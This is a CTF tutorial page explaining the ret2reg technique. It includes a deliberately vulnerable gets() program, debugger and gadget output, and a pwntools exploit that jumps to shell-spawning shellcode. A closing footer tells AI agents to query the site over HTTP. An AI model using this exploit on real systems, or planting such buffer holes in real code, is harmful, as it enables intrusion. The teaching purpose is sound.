# ret2reg

**ret2reg** involves jumping to register addresses rather than hardcoded addresses. As an example, you may find that the **`RAX`** register always points to your buffer when the **ret** instruction is executed. This can be exploited by using a **`call rax`** or **`jmp rax`** [gadget](/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md) to continue execution from that point. The reason **`RAX`** is often used for this technique is that, according to convention, the return value of a function is typically stored in **`RAX`**.

{% hint style="info" %}
Any function that returns a pointer to the provided string is a prime target. There are many that do this, including :

* `gets()`
* `strcpy()`
* `fgets()`
* ...
  {% endhint %}

## Code example

```c
#include <stdio.h>

void vuln() {
    char buffer[100];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}
```

In this example, when the `vuln()` function will return, the `RAX` register will point to the user input stored into `buffer` :

```ruby
# Disassemble the vuln function
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:	push   rbp
   0x0000000000401123 <+1>:	mov    rbp,rsp
   0x0000000000401126 <+4>:	sub    rsp,0x70
   0x000000000040112a <+8>:	lea    rax,[rbp-0x70]
   0x000000000040112e <+12>:	mov    rdi,rax
   0x0000000000401131 <+15>:	mov    eax,0x0
   0x0000000000401136 <+20>:	call   0x401030 <gets@plt>
   0x000000000040113b <+25>:	nop
   0x000000000040113c <+26>:	leave  
   0x000000000040113d <+27>:	ret
End of assembler dump.

# Set a breakpoint at the end of the vuln function (address 0x1150)
gdb-peda$ break *vuln+27
Breakpoint 1 at 0x40113d

# Run the program
gdb-peda$ r
Starting program: ./chall 

# Input some data (in this case, "AAAAAAAA")
AAAAAAAA

# The program hits the breakpoint at the end of the vuln function
Breakpoint 1, 0x000000000040113d in vuln ()

# Print the value of the RAX register
gdb-peda$ i r $rax
rax            0x7fffffffdfc0      0x7fffffffdfc0

# Print the string stored at the address contained in RAX
gdb-peda$ x/s 0x7fffffffdfc0
0x7fffffffdfc0:	"AAAAAAAA" 
```

## Exploitation

Using a `jmp rax` [gadget](/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md) it's possible to jump directly into the user input without knowing the address of it :

```ruby
$ ROPgadget --binary chall | grep "jmp rax"
0x0000000000401095 : je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax # <-- needed gadget
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401093 : test eax, eax ; je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
```

Using Buffer Overflow to set the gadget as return and jump into [shellcode](/pwn/stack-exploitation/arbitrary-code-execution/arbitrary-code-execution.md) :

```python
from pwn import *

# Load the ELF file and start a new process
elf = context.binary = ELF('./chall')
p = process()

# Address of the JMP RAX gadget
JMP_RAX = 0x40109c

# Assemble the payload
payload = asm(shellcraft.sh())        # front of buffer <- RAX points here

# Pad the payload until the RIP
payload = payload.ljust(120, b'A')    

# Append the JMP RAX gadget to the payload
payload += p64(JMP_RAX)               

# Send the payload to the program
p.sendline(payload)

# Start an interactive session
p.interactive()
```

{% hint style="info" %}
Note that this technique could work using another register than `rax` . For example using `rsp` could work as well but the chance of `jmp esp` gadgets existing in the binary are incredible low.
{% endhint %}

## Resources

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/ret2reg.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
